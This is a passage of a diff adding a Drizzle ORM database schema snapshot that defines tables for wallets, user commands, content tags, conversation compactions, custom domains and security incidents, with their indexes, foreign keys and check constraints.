+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'active'"
+ },
+ "donationsEnabled": {
+ "name": "donationsEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "guestSpendEnabled": {
+ "name": "guestSpendEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "fallbackRule": {
+ "name": "fallbackRule",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "defaultSpendSource": {
+ "name": "defaultSpendSource",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "alwaysOwnCredits": {
+ "name": "alwaysOwnCredits",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "overshootChoice": {
+ "name": "overshootChoice",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "wallets_personal_root_unique": {
+ "name": "wallets_personal_root_unique",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"ownerType\" = 'user' AND \"subjectType\" IS NULL AND \"parentWalletId\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "wallets_org_pool_unique": {
+ "name": "wallets_org_pool_unique",
+ "columns": [
+ {
+ "expression": "orgId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"ownerType\" = 'org' AND \"subjectType\" IS NULL AND \"parentWalletId\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "wallets_subject_unique": {
+ "name": "wallets_subject_unique",
+ "columns": [
+ {
+ "expression": "subjectType",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "subjectId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"subjectId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "wallets_parent_idx": {
+ "name": "wallets_parent_idx",
+ "columns": [
+ {
+ "expression": "parentWalletId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "wallets_userId_users_id_fk": {
+ "name": "wallets_userId_users_id_fk",
+ "tableFrom": "wallets",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "wallets_orgId_organizations_id_fk": {
+ "name": "wallets_orgId_organizations_id_fk",
+ "tableFrom": "wallets",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "wallets_parentWalletId_wallets_id_fk": {
+ "name": "wallets_parentWalletId_wallets_id_fk",
+ "tableFrom": "wallets",
+ "tableTo": "wallets",
+ "columnsFrom": [
+ "parentWalletId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "no action",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "wallets_owner_type_valid": {
+ "name": "wallets_owner_type_valid",
+ "value": "\"wallets\".\"ownerType\" IN ('user', 'org')"
+ },
+ "wallets_owner_matches_type": {
+ "name": "wallets_owner_matches_type",
+ "value": "(\"wallets\".\"ownerType\" = 'user' AND \"wallets\".\"userId\" IS NOT NULL AND \"wallets\".\"orgId\" IS NULL) OR (\"wallets\".\"ownerType\" = 'org' AND \"wallets\".\"orgId\" IS NOT NULL AND \"wallets\".\"userId\" IS NULL)"
+ },
+ "wallets_subject_type_valid": {
+ "name": "wallets_subject_type_valid",
+ "value": "\"wallets\".\"subjectType\" IS NULL OR \"wallets\".\"subjectType\" = 'drive'"
+ },
+ "wallets_subject_complete": {
+ "name": "wallets_subject_complete",
+ "value": "(\"wallets\".\"subjectType\" IS NULL) = (\"wallets\".\"subjectId\" IS NULL)"
+ },
+ "wallets_not_own_parent": {
+ "name": "wallets_not_own_parent",
+ "value": "\"wallets\".\"parentWalletId\" IS NULL OR \"wallets\".\"parentWalletId\" <> \"wallets\".\"id\""
+ },
+ "wallets_status_valid": {
+ "name": "wallets_status_valid",
+ "value": "\"wallets\".\"status\" IN ('active', 'paused', 'over')"
+ },
+ "wallets_fallback_rule_valid": {
+ "name": "wallets_fallback_rule_valid",
+ "value": "\"wallets\".\"fallbackRule\" IS NULL OR \"wallets\".\"fallbackRule\" IN ('refuse', 'seat_allowance', 'own_credits')"
+ },
+ "wallets_overshoot_choice_valid": {
+ "name": "wallets_overshoot_choice_valid",
+ "value": "\"wallets\".\"overshootChoice\" IS NULL OR (\"wallets\".\"overshootChoice\" IN ('absorb_to_parent', 'wallet_debt') AND \"wallets\".\"parentWalletId\" IS NOT NULL)"
+ },
+ "wallets_default_spend_source_valid": {
+ "name": "wallets_default_spend_source_valid",
+ "value": "\"wallets\".\"defaultSpendSource\" IS NULL OR (\"wallets\".\"defaultSpendSource\" IN ('drive_wallet', 'seat_allowance', 'own_credits') AND NOT (\"wallets\".\"ownerType\" = 'org' AND \"wallets\".\"subjectType\" IS NULL))"
+ },
+ "wallets_guest_spend_subject_wallet": {
+ "name": "wallets_guest_spend_subject_wallet",
+ "value": "NOT \"wallets\".\"guestSpendEnabled\" OR \"wallets\".\"subjectType\" IS NOT NULL"
+ },
+ "wallets_always_own_credits_personal_root": {
+ "name": "wallets_always_own_credits_personal_root",
+ "value": "NOT \"wallets\".\"alwaysOwnCredits\" OR (\"wallets\".\"ownerType\" = 'user' AND \"wallets\".\"subjectType\" IS NULL AND \"wallets\".\"parentWalletId\" IS NULL)"
+ },
+ "wallets_monthly_remaining_nonneg": {
+ "name": "wallets_monthly_remaining_nonneg",
+ "value": "\"wallets\".\"monthlyRemainingCents\" >= 0"
+ },
+ "wallets_monthly_allowance_nonneg": {
+ "name": "wallets_monthly_allowance_nonneg",
+ "value": "\"wallets\".\"monthlyAllowanceCents\" >= 0"
+ },
+ "wallets_spent_cents_nonneg": {
+ "name": "wallets_spent_cents_nonneg",
+ "value": "\"wallets\".\"spentCents\" >= 0"
+ },
+ "wallets_topup_remaining_nonneg": {
+ "name": "wallets_topup_remaining_nonneg",
+ "value": "\"wallets\".\"topupRemainingCents\" >= 0"
+ },
+ "wallets_debt_cents_nonneg": {
+ "name": "wallets_debt_cents_nonneg",
+ "value": "\"wallets\".\"debtCents\" >= 0"
+ },
+ "wallets_pending_millicents_range": {
+ "name": "wallets_pending_millicents_range",
+ "value": "\"wallets\".\"pendingMillicents\" >= 0 AND \"wallets\".\"pendingMillicents\" < 1000"
+ },
+ "wallets_period_order": {
+ "name": "wallets_period_order",
+ "value": "\"wallets\".\"monthlyPeriodStart\" IS NULL OR \"wallets\".\"monthlyPeriodEnd\" IS NULL OR \"wallets\".\"monthlyPeriodStart\" <= \"wallets\".\"monthlyPeriodEnd\""
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.commands": {
+ "name": "commands",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_by_id": {
+ "name": "created_by_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "trigger": {
+ "name": "trigger",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "entry_page_id": {
+ "name": "entry_page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'document'"
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "commands_user_id_idx": {
+ "name": "commands_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "commands_drive_id_idx": {
+ "name": "commands_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "commands_entry_page_id_idx": {
+ "name": "commands_entry_page_id_idx",
+ "columns": [
+ {
+ "expression": "entry_page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "commands_user_id_users_id_fk": {
+ "name": "commands_user_id_users_id_fk",
+ "tableFrom": "commands",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "commands_drive_id_drives_id_fk": {
+ "name": "commands_drive_id_drives_id_fk",
+ "tableFrom": "commands",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "commands_created_by_id_users_id_fk": {
+ "name": "commands_created_by_id_users_id_fk",
+ "tableFrom": "commands",
+ "tableTo": "users",
+ "columnsFrom": [
+ "created_by_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "commands_entry_page_id_pages_id_fk": {
+ "name": "commands_entry_page_id_pages_id_fk",
+ "tableFrom": "commands",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "entry_page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "commands_user_trigger": {
+ "name": "commands_user_trigger",
+ "nullsNotDistinct": false,
+ "columns": [
+ "user_id",
+ "trigger"
+ ]
+ },
+ "commands_drive_trigger": {
+ "name": "commands_drive_trigger",
+ "nullsNotDistinct": false,
+ "columns": [
+ "drive_id",
+ "trigger"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "commands_scope_chk": {
+ "name": "commands_scope_chk",
+ "value": "(\"commands\".\"user_id\" IS NOT NULL AND \"commands\".\"drive_id\" IS NULL) OR (\"commands\".\"user_id\" IS NULL AND \"commands\".\"drive_id\" IS NOT NULL)"
+ },
+ "commands_type_chk": {
+ "name": "commands_type_chk",
+ "value": "\"commands\".\"type\" IN ('document', 'prompt_template', 'builtin')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.content_tags": {
+ "name": "content_tags",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "tagId": {
+ "name": "tagId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "targetKind": {
+ "name": "targetKind",
+ "type": "ContentTagTargetKind",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "anchor": {
+ "name": "anchor",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "anchorStatus": {
+ "name": "anchorStatus",
+ "type": "ContentTagAnchorStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "channelMessageId": {
+ "name": "channelMessageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aiMessageId": {
+ "name": "aiMessageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "source": {
+ "name": "source",
+ "type": "ContentTagSource",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "confidence": {
+ "name": "confidence",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "content_tags_page_id_idx": {
+ "name": "content_tags_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_tags_tag_id_idx": {
+ "name": "content_tags_tag_id_idx",
+ "columns": [
+ {
+ "expression": "tagId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_tags_created_by_idx": {
+ "name": "content_tags_created_by_idx",
+ "columns": [
+ {
+ "expression": "createdBy",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_tags_page_target_unique": {
+ "name": "content_tags_page_target_unique",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "tagId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"content_tags\".\"targetKind\" = 'page'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_tags_channel_message_target_unique": {
+ "name": "content_tags_channel_message_target_unique",
+ "columns": [
+ {
+ "expression": "channelMessageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "tagId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"content_tags\".\"targetKind\" = 'channel_message'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "content_tags_ai_message_target_unique": {
+ "name": "content_tags_ai_message_target_unique",
+ "columns": [
+ {
+ "expression": "aiMessageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "tagId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"content_tags\".\"targetKind\" = 'ai_message'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "content_tags_tagId_tags_id_fk": {
+ "name": "content_tags_tagId_tags_id_fk",
+ "tableFrom": "content_tags",
+ "tableTo": "tags",
+ "columnsFrom": [
+ "tagId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "content_tags_pageId_pages_id_fk": {
+ "name": "content_tags_pageId_pages_id_fk",
+ "tableFrom": "content_tags",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "content_tags_channelMessageId_channel_messages_id_fk": {
+ "name": "content_tags_channelMessageId_channel_messages_id_fk",
+ "tableFrom": "content_tags",
+ "tableTo": "channel_messages",
+ "columnsFrom": [
+ "channelMessageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "content_tags_aiMessageId_messages_id_fk": {
+ "name": "content_tags_aiMessageId_messages_id_fk",
+ "tableFrom": "content_tags",
+ "tableTo": "messages",
+ "columnsFrom": [
+ "aiMessageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "content_tags_createdBy_users_id_fk": {
+ "name": "content_tags_createdBy_users_id_fk",
+ "tableFrom": "content_tags",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "content_tags_target_chk": {
+ "name": "content_tags_target_chk",
+ "value": "(\n (\"content_tags\".\"targetKind\" = 'page' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'text' AND \"content_tags\".\"anchor\" IS NOT NULL AND \"content_tags\".\"anchorStatus\" IS NOT NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'sheet_cell' AND \"content_tags\".\"anchor\" IS NOT NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'channel_message' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NOT NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'ai_message' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NOT NULL)\n )"
+ },
+ "content_tags_confidence_range_chk": {
+ "name": "content_tags_confidence_range_chk",
+ "value": "\"content_tags\".\"confidence\" IS NULL OR (\"content_tags\".\"confidence\" >= 0 AND \"content_tags\".\"confidence\" <= 1)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.conversation_compactions": {
+ "name": "conversation_compactions",
+ "schema": "",
+ "columns": {
+ "conversation_id": {
+ "name": "conversation_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "source": {
+ "name": "source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "summary": {
+ "name": "summary",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "summary_tokens": {
+ "name": "summary_tokens",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "compacted_up_to_message_id": {
+ "name": "compacted_up_to_message_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "compacted_up_to_created_at": {
+ "name": "compacted_up_to_created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "summary_version": {
+ "name": "summary_version",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "summarizer_model": {
+ "name": "summarizer_model",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_compacted_at": {
+ "name": "last_compacted_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "conversation_compactions_page_id_idx": {
+ "name": "conversation_compactions_page_id_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {
+ "conversation_compactions_conversation_id_source_pk": {
+ "name": "conversation_compactions_conversation_id_source_pk",
+ "columns": [
+ "conversation_id",
+ "source"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "conversation_compactions_source_chk": {
+ "name": "conversation_compactions_source_chk",
+ "value": "\"conversation_compactions\".\"source\" IN ('page', 'global')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.custom_domains": {
+ "name": "custom_domains",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "hostname": {
+ "name": "hostname",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "custom_domain_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "is_primary": {
+ "name": "is_primary",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "platform_owned": {
+ "name": "platform_owned",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "publish_landing_page_id": {
+ "name": "publish_landing_page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "publish_not_found_page_id": {
+ "name": "publish_not_found_page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "published_app_id": {
+ "name": "published_app_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "suspended_by_policy": {
+ "name": "suspended_by_policy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "custom_domains_hostname_key": {
+ "name": "custom_domains_hostname_key",
+ "columns": [
+ {
+ "expression": "hostname",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "custom_domains_drive_id_idx": {
+ "name": "custom_domains_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "custom_domains_suspended_by_policy_idx": {
+ "name": "custom_domains_suspended_by_policy_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"custom_domains\".\"suspended_by_policy\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "custom_domains_published_app_id_idx": {
+ "name": "custom_domains_published_app_id_idx",
+ "columns": [
+ {
+ "expression": "published_app_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "custom_domains_primary_per_drive": {
+ "name": "custom_domains_primary_per_drive",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"custom_domains\".\"is_primary\"",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "custom_domains_drive_id_drives_id_fk": {
+ "name": "custom_domains_drive_id_drives_id_fk",
+ "tableFrom": "custom_domains",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "custom_domains_publish_landing_page_id_pages_id_fk": {
+ "name": "custom_domains_publish_landing_page_id_pages_id_fk",
+ "tableFrom": "custom_domains",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "publish_landing_page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "custom_domains_publish_not_found_page_id_pages_id_fk": {
+ "name": "custom_domains_publish_not_found_page_id_pages_id_fk",
+ "tableFrom": "custom_domains",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "publish_not_found_page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "custom_domains_published_app_id_published_apps_id_fk": {
+ "name": "custom_domains_published_app_id_published_apps_id_fk",
+ "tableFrom": "custom_domains",
+ "tableTo": "published_apps",
+ "columnsFrom": [
+ "published_app_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.incidents": {
+ "name": "incidents",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "severity": {
+ "name": "severity",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'detected'"
+ },
+ "category": {
+ "name": "category",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "detectedAt": {
+ "name": "detectedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "reportedBy": {
+ "name": "reportedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "affectedUserCount": {
+ "name": "affectedUserCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "affectedScope": {
+ "name": "affectedScope",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "riskLevel": {
+ "name": "riskLevel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "requiresAuthorityNotification": {
+ "name": "requiresAuthorityNotification",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authorityNotificationDeadline": {
+ "name": "authorityNotificationDeadline",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authorityNotifiedAt": {
+ "name": "authorityNotifiedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "requiresSubjectNotification": {
+ "name": "requiresSubjectNotification",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "subjectsNotifiedAt": {
+ "name": "subjectsNotifiedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "closedAt": {
+ "name": "closedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "idx_incidents_status": {
+ "name": "idx_incidents_status",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_incidents_detected_at": {
+ "name": "idx_incidents_detected_at",
+ "columns": [
+ {
+ "expression": "detectedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_incidents_authority_deadline": {
+ "name": "idx_incidents_authority_deadline",
+ "columns": [
+ {
+ "expression": "authorityNotificationDeadline",
